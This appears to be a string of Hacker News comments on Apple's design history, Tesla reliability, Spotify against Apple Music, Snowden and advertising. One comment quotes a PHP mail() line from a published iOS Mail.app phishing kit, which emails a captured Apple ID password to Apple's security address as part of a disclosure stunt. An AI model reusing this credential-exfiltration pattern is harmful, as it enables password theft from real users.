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>One of us, Tognazzini, worked at Apple with Steve Jobs in the early days. Norman joined Apple shortly after Jobs departed and then left shortly after Jobs returned in 1996. We were not present during the shift from the days of easy-to-use, easy-to-understand products (where Apple could honestly brag that no manual was necessary), to today’s products where no manual is included, but is often necessary. We do know that before Jobs returned, Apple had a three-pronged approach to product design: user experience, engineering, and marketing, with all three taking part in the design cycle from day one to when the product shipped.

>Today’s Apple has eliminated the emphasis on making products understandable and usable, and instead has imposed a Bauhaus minimalist design ethic on its products.

I actually love this article because when people look back with rose tinted glasses about how things were great when Forstall was around, I can send them this article about how Apple's usability suffered when Jobs came back, an era where they claim that Apple's products was the best they ever were from a usability stand point.


Tesla has a small rabid fan base (here and on Reddit) that are willing to overlook its shortcomings. If Tesla actually delivers on its Model 3 any time soon and manages to penetrate the mainstream at all, you can be sure those customers won't be giving Tesla a pass.

https://www.reddit.com/r/teslamotors/comments/3mtoxa/im_not_...

Take a look at that thread in /r/teslamotors (which is full of Tesla fanboys). Tesla's problems with quality and reliability are talked about as if that's what they're known for, and the comments are being upvoted (at the same time they're very optimistic about it improving but that's to be expected given its /r/teslamotors).

The problem for Tesla is they are 1990s Apple. A bigger problem for them is if when Apple enters the car market in 2020, they come in as 2015 Apple.


If 97% of current Tesla owners would buy Tesla again, then perhaps the fanbase here and on Reddit is typical of all Tesla owners?

  Still, despite the problems and complaints, Tesla owners
  remain happy about their cars. According to its survey,
  Consumer Reports said that 97 percent of owners would buy
  their car again.
http://www.nytimes.com/2015/10/21/business/consumer-reports-...


I own stock in the company but not anywhere near an owner of their cars, but my fan-boyism is based on the fact that this company is trying to push other larger car manufacturers into pushing forward instead of the same old same. Yeah they have some issues but they're quick at ironing them out on the new set of cars.

If and when the Model 3 releases will be the telling for Tesla. For now I will keep my stock.


Serenity Caldwell wasn't able to duplicate this, probably a bug.

https://twitter.com/settern/status/627162699076665344


I agree - it is most likely a bug. If not it seems like this would be a huge hole.


I've had a dozen songs across several albums exhibit this behavior. Never mind elaborate acoustic matching -- I've had fifteen minute live performances of a song replaced with three minute studio versions, which should have been prevented by a trivial metadata sanity check.

I haven't been thrilled by the experience.


It's truly bizarro world if you think the Spotify UI is good.


Exactly my thoughts and pretty much the only reason I use Rdio instead.


lol

It couldn't possibly be that Google did anything wrong.


Yelp is desperate. Why not do a proper independent study instead of paying people to say what you want to hear?


Spotify is truly fucked if Apple is going to pay during the free trial AND pay higher overall royalties. When the negotiations come up again with Spotify, who is already running increasing losses, things will just get worse.


I've been a spotify premium subscriber for a number of years now, and been happy with it. Apple music seems interesting, and more competition is good, however there isn't much that makes me want to switch just yet.

While Apple has a lot of things going for it, SaaS hasn't ever been their strong suit. Spotify's entire business is streaming music. Apple's streaming music service is a small fraction.


I was a Spotify Premium Subscriber, but then canceled when they didn't have Mylo Xyloto. I'm wondering how many top albums missing it will take before Spotify will restrict certain albums to their Paid Tier only.

Regardless, now Spotify is in the crappy situation of Apple having some top albums they don't have, and Apple offering it for free (to subscribers).

You really don't want to get into a $$$ fight with Apple.


Someone, Google or Microsoft will buy them out. Use their brand name instead of their own and put their cash behind it. Letting Apple dominate the music space is something I think anyone (other than Apple itself) desires...not even the music labels/musicians.


No, they are not. Not everyone lives in Apple bubble. Especially outside of North America.


It was always a crock of shit to equate Snowden to the Pentagon Papers or the Watergate scandal, and this is why.


Snowden having that level of access and the ability to siphon off so many documents undetected virtually guarantees that Russian/Chinese moles have been doing the same (without going to the press about it, naturally) for quite some time. The idea that they don't already have the data is a crock of shit.


Tech/media companies dependent on advertising should just adapt. As techies told a complaining music industry, just do concerts and sell t-shirts. Now maybe this won't be as profitable as the current business model, and maybe the industry will be smaller and more consolidated, but that's capitalism. No one guaranteed you would keep growing and making more money.

Perhaps you'll have to stop using third-party ad networks and start selling and creating your own ads. Native ads like Buzzfeed's sponsored posts could work. It'll probably require more capital and won't scale as well, but you'll just have to deal with that.


Did this guy e-mail Apple product security?

https://www.apple.com/support/security/


My experience with product-security@apple.com was that they sat on my report without doing anything for several months, then finally put together a fix after I threatened to go public.

It sounds like this guy may have skipped the threatening step and just went public.


Apparently filed a Radar report on Jan 15, 2015.


And every time it's tested:

"mail('product-security@apple.com','Apple ID Password',"Thanks for your password! \n $data ¯\_(ツ)_/¯ \n https://github.com/jansoucek/iOS-Mail.app-inject-kit");"

[1]: https://github.com/jansoucek/iOS-Mail.app-inject-kit/blob/ma...


Smart and cheeky at the same time, like it!


If what Tim Cook said could be easily discounted as puffery, it would be largely ignored by the Google fanboys. But the fact that you don't even have to believe what Tim Cook says or even trust him, because Apple's business model doesn't benefit from the perverse incentive that Google's does, is driving them crazy. And no iAd doesn't count, that's a service for third party developers to monetize their own apps. There are no ads in Apple's first party apps. It's also been criticized by advertisers because of Apple's protection of customer privacy. http://adage.com/article/digital/amazon-apple-catch-a-break-...

It's an interesting twist for HN, which is normally ready to take strong pro-privacy positions in the wake of the Snowden leaks under the premise of potential abuse by governments.


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